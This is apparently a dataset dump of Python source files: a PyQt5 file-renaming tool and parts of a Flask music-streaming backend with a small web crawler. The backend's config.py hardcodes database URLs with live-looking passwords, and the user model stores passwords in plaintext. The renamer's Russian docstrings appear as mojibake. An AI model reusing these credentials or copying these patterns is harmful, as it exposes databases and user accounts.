self.sti.item(i, 3).text():\n curr = self.sti.item(i, 2).text()\n ren = self.sti.item(i, 3).text() + self.sti.item(i, 1).text()\n\n shutil.copy2(os.path.join(self.lePathImg.text(), curr), os.path.join(self.resPath, ren))\n\n self.tv.scrollTo(self.sti.index(i, 0), QtWidgets.QAbstractItemView.EnsureVisible)\n self.progressBar.setValue(self.progressBar.value() + 1)\n self.progress.setValue(self.progress.value() + 1)\n\n QtWidgets.qApp.processEvents()\n\n self.progressBar.setValue(self.progressBar.value() + 1)\n self.progress.reset()\n self.finishTime = time.time()\n self.lblStatus.setText(f\"Done! duration: {(self.finishTime - self.startTime) / 60:.4f} min\")\n self.setAllDisabled(False)\n\n os.startfile(self.resPath)\n\n def setAllDisabled(self, flag=True):\n \"\"\"\n ะผะตั‚ะพะด ะฒัะต ะบะฝะพะฟะบะธ ะฟะตั€ะตะบะปัŽั‡ะฐะตั‚ ั ะฐะบั‚ะฒะธะฝั‹ั… ะฝะฐ ะฝะตะฐะบั‚ะฒะธะฝั‹ะต ะธ ะฝะฐะพะฑะพั€ะพั‚\n :param bool flag: True ะตัะปะธ ะฝะต ะฐะบั‚ะธะฒะฝะพ ะฝัƒะถะฝะพ ัะดะตะปะฐั‚ัŒ\n \"\"\"\n self.lePathImg.setDisabled(flag)\n self.leExt.setDisabled(flag)\n if self.gbRegEx.isChecked():\n self.leFind.setDisabled(flag)\n self.leReplace.setDisabled(flag)\n self.gbRegEx.setDisabled(flag)\n\n if self.gbSep.isChecked():\n self.leSep.setDisabled(flag)\n self.gbSep.setDisabled(flag)\n\n self.btnPathImg.setDisabled(flag)\n self.btnTry.setDisabled(flag)\n self.btnRun.setDisabled(flag)\n self.btnQuit.setDisabled(flag)\n\n self.parent().menuBar.setDisabled(flag)\n\n def isValid(self, method=\"run\"):\n \"\"\"\n ะŸั€ะพะฒะตั€ัะตั‚ ะฒะฐะปะธะดะฝะพัั‚ัŒ ะฒะฒะตะดั‘ะฝะฝั‹ั… ะฟะฐั€ะฐะผะตั‚ั€ะพะฒ\n :param str method: ะบะฐะบะพะน ะผะตั‚ะพะด ะฒั‹ะทั‹ะฒะฐะตั‚ ะฒะฐะปะธะดะฐั†ะธัŽ\n :return bool:\n \"\"\"\n if not self.lePathImg.text():\n QtWidgets.QMessageBox.critical(self, \"Error\", \"Choose the folder for rename files\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return False\n if not os.path.exists(self.lePathImg.text()):\n QtWidgets.QMessageBox.critical(self, \"Error\", f\"Folder {self.lePathImg.text()} doesn't exist!\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return False\n if self.gbRegEx.isChecked() and self.gbSep.isChecked():\n QtWidgets.QMessageBox.critical(self, \"Error\", \"You must choose something one: RegExp or Separator\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return False\n if self.gbRegEx.isChecked():\n if not self.leFind.text():\n QtWidgets.QMessageBox.critical(self, \"Error\", \"Type what to replace in file names\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return False\n if self.gbSep.isChecked():\n if not self.leSep.text():\n QtWidgets.QMessageBox.critical(self, \"Error\", \"Type separator to devide file names\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return False\n if self.sti.rowCount() == 0:\n QtWidgets.QMessageBox.critical(self, \"Error\", f\"Push button Get\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return False\n\n if method == \"run\":\n self.rens.clear()\n for i in range(0, self.sti.rowCount()):\n self.color_dup(self.sti.item(i, 3))\n\n if len(self.rens) > 0 and len(self.rens) != self.sti.rowCount():\n QtWidgets.QMessageBox.critical(self, \"Error\", f\"You have duplicate names in Rename columns!\",\n defaultButton=QtWidgets.QMessageBox.Ok)\n return False\n return True\n\n def color_dup(self, sind):\n \"\"\"\n ะกะผะพั‚ั€ะธั‚ ัะฒะปัะตั‚ัั ะปะธ ั‚ะตะบัƒั‰ะธะน ัะปะตะผะตะฝั‚ ะดัƒะฑะปะธะบะฐั‚ะพะผ ะธ ะฟะพะดะบั€ะฐัˆะธะฒะฐะตั‚ ะดัƒะฑะปะธ\n :param MyStandardItemModel sind: ะธะฝะดะตะบั ัะปะตะผะตะฝั‚ะฐ\n \"\"\"\n if sind.text() in self.rens:\n self.sti.setData(self.sti.indexFromItem(sind), QtGui.QColor(QtCore.Qt.red), QtCore.Qt.BackgroundColorRole)\n else:\n self.sti.setData(self.sti.indexFromItem(sind), QtGui.QColor(QtCore.Qt.white), QtCore.Qt.BackgroundColorRole)\n self.rens.add(sind.text())\n" }, { "alpha_fraction": 0.6166258454322815, "alphanum_fraction": 0.6200980544090271, "avg_line_length": 36.661537170410156, "blob_id": "dde7d815650dbe6ec082b065b13ab27e9e7bd1ba", "content_id": "2aee4c1b20bf631416139fc5a70ba350bde93636", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5174, "license_type": "no_license", "max_line_length": 99, "num_lines": 130, "path": "/modules/mainwindow.py", "repo_name": "mike7105/RenameFiles", "src_encoding": "UTF-8", "text": "\"\"\"ะ“ะปะฐะฒะฝะพะต ะพะบะฝะพ ะฟั€ะธะปะพะถะตะฝะธั\"\"\"\nimport os\n\nfrom PyQt5 import QtCore, QtWidgets, QtWinExtras\n\nfrom modules.MyWindow import MyWindow\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n \"\"\"\n ะ“ะปะฐะฒะฝะพะต ะพะบะฝะพ\n \"\"\"\n\n def __init__(self, version, parent=None):\n QtWidgets.QMainWindow.__init__(self, parent)\n self.version = version\n self.setWindowTitle(\"Rename Files\")\n\n # ะกะพะทะดะฐะตะผ ะบะฝะพะฟะบัƒ ะฟะฐะฝะตะปะธ ะทะฐะดะฐั‡\n self.taskbarButton = QtWinExtras.QWinTaskbarButton(parent=self)\n # ะŸะพะปัƒั‡ะฐะตะผ ะธะฝะดะธะบะฐั‚ะพั€ ะฟั€ะพั†ะตััะฐ, ะทะฐะดะฐะตะผ ะตะณะพ ะฟะฐั€ะฐะผะตั‚ั€ั‹\n # ะธ ะดะตะปะฐะตะผ ะตะณะพ ะฒะธะดะธะผั‹ะผ\n self.progress = self.taskbarButton.progress()\n self.progress.setMaximum(0)\n self.progress.show()\n\n self.dtGeo = QtWidgets.QApplication.desktop().availableGeometry()\n self.setMinimumSize(600, 600)\n self.resize(self.dtGeo.width()//2, self.dtGeo.height()-30)\n # self.showMaximized()\n self.move(self.dtGeo.width()//2, 0)\n\n QtCore.QCoreApplication.setOrganizationName(\"Mihail Chesnokov\")\n QtCore.QCoreApplication.setApplicationName(\"renameFiles\")\n self.settings = QtCore.QSettings()\n\n self.mywindow = MyWindow(self)\n self.setCentralWidget(self.mywindow)\n\n self.menuBar = self.menuBar()\n # toolBar = QtWidgets.QToolBar()\n\n self.myMenuFile = self.menuBar.addMenu(\"&File\")\n\n self.myMenuFile.addSeparator()\n\n action = self.myMenuFile.addAction(\"&Quit\", self.quitApp, QtCore.Qt.CTRL + QtCore.Qt.Key_Q)\n action.setStatusTip(\"Quit program\")\n\n self.myMenuAbout = self.menuBar.addMenu(\"&About\")\n\n action = self.myMenuAbout.addAction(\"About...\", self.aboutInfo)\n action.setStatusTip(\"Get info about program\")\n\n action = self.myMenuAbout.addAction(\"about &Qt...\", QtWidgets.qApp.aboutQt)\n action.setStatusTip(\"Get info about Qt\")\n\n self.restoreSettings()\n\n def closeEvent(self, evt):\n \"\"\"\n ัะพะฑั‹ั‚ะธะต ะฟั€ะธ ะทะฐะบั€ั‹ั‚ะธะธ ะฟั€ะธะปะพะถะตะฝะธั\n :param evt: ัะพะฑั‹ั‚ะธะต\n \"\"\"\n self.saveSettings()\n\n def saveSettings(self):\n \"\"\"\n ะกะพั…ั€ะฐะฝัะตั‚ ะฝะฐัั‚ั€ะพะนะบะธ\n \"\"\"\n self.settings.beginGroup(\"Window\")\n self.settings.setValue(\"Geometry\", self.geometry())\n self.settings.endGroup()\n\n self.settings.beginGroup(\"Data\")\n self.settings.setValue(\"lePathImg\", self.mywindow.lePathImg.text())\n self.settings.setValue(\"leExt\", self.mywindow.leExt.text())\n self.settings.setValue(\"gbRegEx\", int(self.mywindow.gbRegEx.isChecked()))\n self.settings.setValue(\"leFind\", self.mywindow.leFind.text())\n self.settings.setValue(\"leReplace\", self.mywindow.leReplace.text())\n self.settings.setValue(\"gbSep\", int(self.mywindow.gbSep.isChecked()))\n self.settings.setValue(\"leSep\", self.mywindow.leSep.text())\n self.settings.endGroup()\n\n def restoreSettings(self):\n \"\"\"\n ะ’ะพััั‚ะฐะฝะฐะฒะปะธะฒะฐะตั‚ ัะพั…ั€ะฐะฝะตะฝะฝั‹ะต ะฝะฐัั‚ั€ะพะนะบะธ\n \"\"\"\n if self.settings.contains(\"Window/Geometry\"):\n self.setGeometry(self.settings.value(\"Window/Geometry\"))\n if self.settings.contains(\"Data/lePathImg\"):\n if os.path.exists(self.settings.value(\"Data/lePathImg\")):\n self.mywindow.lePathImg.setText(self.settings.value(\"Data/lePathImg\"))\n if self.settings.contains(\"Data/leExt\"):\n self.mywindow.leExt.setText(self.settings.value(\"Data/leExt\"))\n if self.settings.contains(\"Data/gbRegEx\"):\n self.mywindow.gbRegEx.setChecked(bool(self.settings.value(\"Data/gbRegEx\")))\n if self.settings.value(\"Data/gbRegEx\"):\n if self.settings.contains(\"Data/leFind\"):\n self.mywindow.leFind.setText(self.settings.value(\"Data/leFind\"))\n if self.settings.contains(\"Data/leReplace\"):\n self.mywindow.leReplace.setText(self.settings.value(\"Data/leReplace\"))\n if self.settings.contains(\"Data/gbSep\"):\n self.mywindow.gbSep.setChecked(bool(self.settings.value(\"Data/gbSep\")))\n if self.settings.value(\"Data/gbSep\"):\n if self.settings.contains(\"Data/leSep\"):\n self.mywindow.leSep.setText(self.settings.value(\"Data/leSep\"))\n\n def quitApp(self):\n \"\"\"\n ะ—ะะบั€ั‹ะฒะฐะตั‚ ะฟั€ะธะปะพะถะตะฝะธะต\n \"\"\"\n self.saveSettings()\n QtWidgets.qApp.quit()\n\n def aboutInfo(self):\n \"\"\"\n ะŸะพะบะฐะทั‹ะฒะฐะตั‚ ะพะฟะธัะฐะฝะธะต ะฟั€ะพะณั€ะฐะผะผั‹\n \"\"\"\n QtWidgets.QMessageBox.about(self, \"About program\",\n f\"<center>\\\"renameFiles\\\" {self.version}<br><br>\"\n f\"Rename files for current folder<br><br> \"\n f\"(c) Mihail Chesnokov 2021\")\n\n def showEvent(self, evt):\n \"\"\"\n ัะพะฑั‹ั‚ะธะต ะฟั€ะธ ะฟะพะบะฐะทะต ะพะบะฝะฐ ะฝะฐ ัะบั€ะฐะฝะต\n :param evt:\n \"\"\"\n self.taskbarButton.setWindow(self.windowHandle())\n" } ]
3
yuyurun/note_tag
https://github.com/yuyurun/note_tag
0ab5dda70de803118b374b76e66f3ce4c3f0acea
d5d7dd5cc4939af8bcfb4d30b2a2a0b94aecb527
96ccd9b0b76657b4f7a06d65d4c9fe9fcc29a0ec
refs/heads/master
2020-05-09T18:15:42.767498
2019-08-25T14:19:08
2019-08-25T14:19:08
181,334,733
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.807692289352417, "alphanum_fraction": 0.807692289352417, "avg_line_length": 12, "blob_id": "f4a20d4fb3eb3a3956291533f3a50e537166d774", "content_id": "bcad7cf924758cc4455d99f28b299c866bad3327", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 46, "license_type": "no_license", "max_line_length": 14, "num_lines": 2, "path": "/README.md", "repo_name": "yuyurun/note_tag", "src_encoding": "UTF-8", "text": "# note_tag\nnoteใฎใ‚ฟใ‚ฐ่‡ชๅ‹•็”Ÿๆˆใ—ใŸใ„\n" }, { "alpha_fraction": 0.5339747667312622, "alphanum_fraction": 0.5511124730110168, "avg_line_length": 19.280487060546875, "blob_id": "fbf8d52910f55272cd0f890240988c178fcb9eec", "content_id": "9201cfcbbf694d3318215fff6c3e1f165b787da1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3364, "license_type": "no_license", "max_line_length": 80, "num_lines": 164, "path": "/Crawling.py", "repo_name": "yuyurun/note_tag", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nimport sys\nimport argparse\nimport os\nimport glob\n\nimport time\nimport MeCab\n\nimport urllib3\n#import urllib.request, urllib.error\nfrom bs4 import BeautifulSoup\n\n\ndef url_open(url):\n http = urllib3.PoolManager()\n r = http.request('GET',url)\n #print(r.data)\n #print(r.status)\n \n #html = urllib3.urlopen(url)\n soup = BeautifulSoup(r.data,\"lxml\")\n\n return soup\n \ndef html2data(soup):\n return soup.search('keywords')\n\n\ndef html2link(soup):\n #atag = soup.find_all(\"a\")\n #print(atag)\n #f1 = open(filename,\"w\")\n num = 0\n http = urllib3.PoolManager()\n link = []\n for line in soup.find_all(\"a\"):\n\n\n htag = line.get(\"href\")\n if \"/rb/\" in str(htag):\n print(htag)\n link.append(htag)\n\n print(link)\n l = []\n link2 = list(set(link))\n print(link2)\n \n for l in link2:\n if num > 20:\n break \n f1 = open(filename,\"a\")\n num += 1\n print(l)\n http = urllib3.PoolManager()\n r = http.request('GET',l)\n soup = BeautifulSoup(r.data,\"lxml\")\n print(\"ๆ›ธใ่พผใฟ\")\n f1.write(\"num:::::\" + str(num) + \"\\n\")\n f1.write(\"url:::::\" + l + \"\\n\")\n f1.write(str(soup) + \"\\n\")\n time.sleep(2)\n\ndef link2rec(filename,soup):\n f2 = open(filename)\n lines = f2.readlines()\n c = 5\n sentence = {}\n for line in lines:\n if \"url:::::\" in line:\n l = line.replace(\"url:::::\",\"\")\n l = line.replace(\"\\n\",\"\")\n url = l\n elif \"<h2>ๅ•†ๅ“่ชฌๆ˜Ž\" in line:\n c = 0\n elif \"<p>\" in line:\n c = c\n else:\n c += 1\n if c == 2:\n sen = line\n sentence[url] = sen\n sp = []\n \n sp = str(soup).split(\"\\n\")\n c = 5\n for l in sp:\n if \"<h2>ๅ•†ๅ“่ชฌๆ˜Ž\" in l:\n c = 0\n elif \"<p>\" in l:\n c = c\n else:\n c += 1\n if c == 2:\n sentence[\"master\"] = l\n\n return sentence\n\ndef jaccard(list_a,list_b):\n set_intersection = set.intersection(set(list_a), set(list_b))\n num_intersection = len(set_intersection)\n \n set_union = set.union(set(list_a), set(list_b))\n num_union = len(set_union)\n return float(num_intersection) / num_union\n\ndef calc_jaccard(sentence):\n mecab = MeCab.Tagger('-d /usr/local/lib/mecab/dic/mecab-ipadic-neologd')\n mecab.parse('')\n word_d = {}\n for u,s in sentence.items():\n node = mecab.parseToNode(s)\n wordlist = []\n while node:\n if node.feature.split(\",\")[6] == '*':\n word = node.surface\n else:\n word = node.feature.split(\",\")[6] \n\n part = node.feature.split(\",\")[0]\n\n if part in [\"ๅ่ฉž\", \"ๅฝขๅฎน่ฉž\", \"ๅ‹•่ฉž\"] and word != \"BR\":\n wordlist.append(word)\n node = node.next\n #print(wordlist)\n\n word_d[u] = wordlist\n master = word_d[\"master\"]\n j1 = 0\n j2 = 0\n j3 = 0\n for u,w in word_d.items():\n if not u == \"master\":\n u = u.replace(\"url:::::\",\"\")\n j = jaccard(master,w)\n if j1 < j:\n j1 = j\n j1_url = u\n elif j2 < j:\n j2 = j\n j2_url = u\n elif j3 < j:\n j3 = j\n j3_url = u\n return j1_url, j2_url, j3_url\n\n\n\n return word_d\n#def target()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--input_url', action='store', nargs='?', type=str)\n parser.add_argument('-o', '--output_dir', action='store', nargs='?', type=str)\n args = parser.parse_args()\n\n soup = url_open(args.input_url)\n print(soup)\n print(html2data)\n" } ]
2
srinicoder035/Temperature-Predictor
https://github.com/srinicoder035/Temperature-Predictor
ea431022ebd640cddcfc5107bc94df17167c4db5
858bafcd018c7a6a7b82f33f3585e2f81c56e98d
7db1cb71b85313786f422f4eea7a08b9ae85eb08
refs/heads/master
2020-09-23T07:25:04.923881
2019-12-02T18:09:31
2019-12-02T18:09:31
225,438,555
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6727879643440247, "alphanum_fraction": 0.6883695125579834, "avg_line_length": 31.089284896850586, "blob_id": "6b3bcfd26c1b3ab262aaffa8b42567caa58c8abb", "content_id": "a555a3535fb5488fc14eb9498d963b72d942f48e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1797, "license_type": "no_license", "max_line_length": 130, "num_lines": 56, "path": "/assignment.py", "repo_name": "srinicoder035/Temperature-Predictor", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestRegressor\n\nfeatures = pd.read_csv('temps.csv')\n\nprint('The shape of the dataset is:', features.shape)\n\n#statistics on the dataset\n#print(features.describe())\n\n# One-hot encode the data \nfeatures = pd.get_dummies(features)\n#print(features.iloc[:,5:].head(5))\n\nlabels = np.array(features['actual'])\n\nfeatures= features.drop('actual', axis = 1)\nfeature_list = list(features.columns)\n\nfeatures = np.array(features)\n#print(features)\n\ntrain_features, test_features, train_labels, test_labels = train_test_split(features, labels, test_size = 0.25, random_state = 42)\n\n#train_features, test_features = train_test_split(features, test_size = 0.25, random_state = 42)\n\nprint('Training Features Shape:', train_features.shape)\nprint('Training Labels Shape:', train_labels.shape)\nprint('Testing Features Shape:', test_features.shape)\nprint('Testing Labels Shape:', test_labels.shape)\n\n\nbaseline_preds = test_features[:, feature_list.index('average')]\nprint(\"----------------------------Actual Values------------------------------------\")\nprint(test_labels)\n\nrf = RandomForestRegressor(n_estimators = 1000, random_state = 42)\nrf.fit(train_features, train_labels)\n\npredictions = rf.predict(test_features)\n\nprint(\"----------------------------Predicted Values---------------------------------\")\nprint(predictions)\nerrors = abs(predictions - test_labels)\n\n#baseline_errors = abs(baseline_preds - test_labels)\n#print('Average baseline error: ', round(np.mean(baseline_errors), 2))\n\n#print(errors)\nprint('\\nMean Absolute Error:', round(np.mean(errors), 2), 'degrees.')\n\nmape = 100 * (errors / test_labels)\naccuracy = 100 - np.mean(mape)\nprint('\\nAccuracy:', round(accuracy, 2), '%.')\n" } ]
1
Soundpruf/block_party-server
https://github.com/Soundpruf/block_party-server
7ea703b17326612b8ac4ac894f10e475be9756eb
bf180a8b83b460b902d751bfaa4143f3b5e8bb5b
924181628e23c92fc275f8fd880be21a5faafada
refs/heads/master
2023-05-11T00:32:04.177366
2018-01-14T05:18:01
2018-01-14T05:18:01
116,161,921
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6465422511100769, "alphanum_fraction": 0.6465422511100769, "avg_line_length": 34.03845977783203, "blob_id": "e701383a8dd9272ccff82a081ddd89f7eba515ed", "content_id": "9eaea6bc14c9187f3e8287f58272ce6080c24109", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 911, "license_type": "no_license", "max_line_length": 106, "num_lines": 26, "path": "/app/models/artist.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom app import db\n\n\nclass Artist(db.Model):\n __tablename__ = 'artists'\n __table_args__ = {'extend_existing': True}\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.Text)\n date_joined = db.Column(db.DateTime, default=datetime.now())\n profile_image = db.Column(db.Text, default=None)\n email_address = db.Column(db.Text)\n spotify_id = db.Column(db.Text, default=None)\n wallet_address = db.Column(db.Text)\n # genres = db.Column(db.Text, default=None)\n\n def __init__(self, id, name, email, password, date_joined, profile_image, wallet_address, spotify_id):\n self.id = id\n self.spotify_id = spotify_id\n self.name = name\n self.date_joined = date_joined\n self.profile_image = profile_image\n self.wallet_address = wallet_address\n self.email_address = email\n # self.genres = genres\n" }, { "alpha_fraction": 0.49140894412994385, "alphanum_fraction": 0.69243985414505, "avg_line_length": 15.628571510314941, "blob_id": "5d00ec2fd63fb28d3547edd3844cb201fe5fe538", "content_id": "c4ec6d2a475a54f29be9e48140b40d0b3db89096", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 582, "license_type": "no_license", "max_line_length": 24, "num_lines": 35, "path": "/requirements.txt", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "alembic==0.9.6\nastroid==1.6.0\nautoenv==1.0.0\ncertifi==2017.11.5\nchardet==3.0.4\nclick==6.7\nf==0.0.1\nFlask==0.12.2\nFlask-Cors==3.0.3\nFlask-Migrate==2.1.1\nFlask-Script==2.0.6\nFlask-SocketIO==2.9.3\nFlask-SQLAlchemy==2.3.2\ngunicorn==19.7.1\nidna==2.6\nisort==4.2.15\nitsdangerous==0.24\nJinja2==2.10\nlazy-object-proxy==1.3.1\nMako==1.0.7\nMarkupSafe==1.0\nmccabe==0.6.1\npsycopg2==2.7.3.2\npylint==1.8.1\npython-dateutil==2.6.1\npython-editor==1.0.3\npython-engineio==2.0.1\npython-socketio==1.8.4\nrequests==2.18.4\nsix==1.11.0\nSQLAlchemy==1.2.0\nurllib3==1.22\nuuid==1.30\nWerkzeug==0.13\nwrapt==1.10.11\n" }, { "alpha_fraction": 0.6508333086967468, "alphanum_fraction": 0.7149999737739563, "avg_line_length": 28.268293380737305, "blob_id": "f0132d5b2f35abca620df83c776e240462bc5d1e", "content_id": "093425b2a5f7eac7722090a9534ee90943460241", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1200, "license_type": "no_license", "max_line_length": 183, "num_lines": 41, "path": "/app/config.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "import os\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n\nclass Config(object):\n DEBUG = True\n TESTING = False\n CSRF_ENABLED = True\n SECRET_KEY = 'this-really-needs-to-be-changed'\n SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or 'postgresql://localhost/block_party'\n\n\nclass ProductionConfig(Config):\n DEBUG = True\n SQLALCHEMY_DATABASE_URI = 'postgres://vyifvrvzhxfqjr:6abb99931b0b754a6cef72d4e5c09218e8329d29fcb079527fa86739eff363c2@ec2-23-21-246-25.compute-1.amazonaws.com:5432/d7kdus8jfnjbhj'\n\n\nclass StagingConfig(Config):\n DEVELOPMENT = True\n DEBUG = True\n SQLALCHEMY_DATABASE_URI = 'postgres://thcnzodhdmfmci:f444914121c12078f50b98a0183dbfa38385d2f1165a520fb9dac8856b71b69e@ec2-107-21-95-70.compute-1.amazonaws.com:5432/d8otav6il3klb1'\n\n\nclass DevelopmentConfig(Config):\n DEVELOPMENT = True\n # SQLALCHEMY_DATABASE_URI = 'postgresql://localhost/block_party'\n DEBUG = True\n\n\ndef apply_config(app):\n\n \"\"\" Apply configuration for application based on OS environ \"\"\"\n \n if os.environ.get('productionConfig', False):\n config = ProductionConfig\n elif os.environ.get('stagingConfig', False):\n config = StagingConfig\n else:\n config = DevelopmentConfig\n\n app.config.from_object(config)\n" }, { "alpha_fraction": 0.6296851634979248, "alphanum_fraction": 0.6806596517562866, "avg_line_length": 22.821428298950195, "blob_id": "cb23733629aa3c64630743b1ed40de0ce585b424", "content_id": "e1e39c49526cb23ae6e82ac8353fa76cbe6fd313", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 667, "license_type": "no_license", "max_line_length": 80, "num_lines": 28, "path": "/migrations/versions/18f1d056ac5e_.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 18f1d056ac5e\nRevises: f226666b8429\nCreate Date: 2018-01-13 19:15:22.290823\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '18f1d056ac5e'\ndown_revision = 'f226666b8429'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('songs', sa.Column('popularity', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('songs', 'popularity')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6171954870223999, "alphanum_fraction": 0.6171954870223999, "avg_line_length": 32.68965530395508, "blob_id": "ba99e93910de7bd4b4af76a21c8a4f8dd7291a12", "content_id": "9a50d56e40f56ddf3dec32229cf84340632b4538", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 977, "license_type": "no_license", "max_line_length": 85, "num_lines": 29, "path": "/app/models/album.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom app import db\n\nclass Album(db.Model):\n __tablename__ = 'albums'\n __table_args__ = {'extend_existing': True} \n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.Text)\n artist_id = db.Column(db.Integer, db.ForeignKey(\n 'artists.id'), primary_key=True)\n created_at = db.Column(db.DateTime, default=datetime.now())\n photo = db.Column(db.Text, default=None)\n claps = db.Column(db.Integer, default=None)\n shares = db.Column(db.Integer, default=None)\n value = db.Column(db.Integer, default=None)\n\n def __init__(self, id, name, artist_id, created_at, photo, claps, shares, value):\n self.id = id\n self.name = name\n self.artist_id = artist_id\n self.created_at = created_at\n self.photo = photo\n self.claps = claps\n self.shares = shares\n self.value = value\n\n def __repr__(self):\n return '<Album {}, {}>'.format(self.id, self.name)\n" }, { "alpha_fraction": 0.7177242636680603, "alphanum_fraction": 0.7177242636680603, "avg_line_length": 17.31999969482422, "blob_id": "af0c8476a4dc1baaf7a3098baf802f8cb1b1ad35", "content_id": "c5532a8d6d1f922f9d4396a24339388d9d997204", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 457, "license_type": "no_license", "max_line_length": 40, "num_lines": 25, "path": "/app/__init__.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "import os\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom .config import Config\n\napp = Flask(__name__)\napp.config.from_object(Config)\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\n\ndef create_app(config_class=Config):\n app = Flask(__name__)\n app.config.from_object(config_class)\n\n db.init_app(app)\n migrate.init_app(app, db)\n\n return app\n\n\n\nfrom .models import *\nfrom .routes import *" }, { "alpha_fraction": 0.6019716858863831, "alphanum_fraction": 0.6019716858863831, "avg_line_length": 37.64285659790039, "blob_id": "609e337527f24f9dbf57fea4fd52897b06220514", "content_id": "abf3d2b3a7cb6d9c41cdc914f365e122c43a50d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1623, "license_type": "no_license", "max_line_length": 128, "num_lines": 42, "path": "/app/models/user.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom app import db\n# from .stream import Stream\n\n# user_stream_table = db.Table('user_streams', db.Model.metadata,\n# db.Column('id', db.Integer, primary_key=True),\n# db.Column('stream_id', db.Integer, db.ForeignKey('stream.id')),\n# db.Column('user_id', db.Integer, db.ForeignKey('user.id'))\n# )\n\n\nclass User(db.Model):\n __tablename__ = 'users'\n __table_args__ = {'extend_existing': True} \n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.Text)\n email = db.Column(db.Text)\n password = db.Column(db.Text)\n date_joined = db.Column(db.DateTime, default=datetime.now())\n profile_image = db.Column(db.Text, default=None)\n spotify_id = db.Column(db.Integer, default=None)\n followers = db.Column(db.Integer, default=None)\n platforms = db.Column(db.JSON)\n wallet_address = db.Column(db.Text)\n # streams = db.relationship('Stream', secondary='streams', backref='stream')\n\n\n def __init__(self, id, name, email, password, date_joined, profile_image, spotify_id, platforms, wallet_address, followers):\n self.id = id\n self.name = name\n self.email = email\n self.password = password\n self.date_joined = date_joined\n self.profile_image = profile_image\n self.spotify_id = spotify_id\n self.platforms = platforms\n self.followers = followers\n self.wallet_address = wallet_address\n \n def __repr__(self):\n return '<User {}, {}>'.format(self.id, self.name)\n" }, { "alpha_fraction": 0.6310679316520691, "alphanum_fraction": 0.6310679316520691, "avg_line_length": 34.517242431640625, "blob_id": "08bfa2c8a60d3a21e8b912df0ddd48a6f3f83fe7", "content_id": "38f88d182637757942b9f18c64fbac7efe5d0082", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1030, "license_type": "no_license", "max_line_length": 96, "num_lines": 29, "path": "/app/models/stream.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom app import db\n\n\nclass Stream(db.Model):\n __tablename__ = 'streams'\n __table_args__ = {'extend_existing': True} \n\n id = db.Column(db.Integer, primary_key=True)\n song_id = db.Column(db.Integer, db.ForeignKey('songs.id'))\n artist_id = db.Column(db.Integer, db.ForeignKey('artists.id'))\n played_at = db.Column(db.DateTime, default=None)\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n created_at = db.Column(db.DateTime, default=datetime.now())\n duration = db.Column(db.Integer, default=None)\n value = db.Column(db.Integer, default=None)\n\n def __init__(self, id, song_id ,user_id ,artist_id ,created_at ,played_at ,duration ,value):\n self.id = id\n self.song_id = song_id\n self.user_id = user_id\n self.artist_id = artist_id\n self.created_at = created_at\n self.played_at = played_at\n self.duration = duration\n self.value = value\n\n def __repr__(self):\n return '<Stream {}>'.format(self.id)\n" }, { "alpha_fraction": 0.5733333230018616, "alphanum_fraction": 0.5975757837295532, "avg_line_length": 23.264705657958984, "blob_id": "b82154519fc62ce66d58a73b5f520eaa9c807540", "content_id": "ef4bf19f56441b572d3bd82080f0c8c7a92201a6", 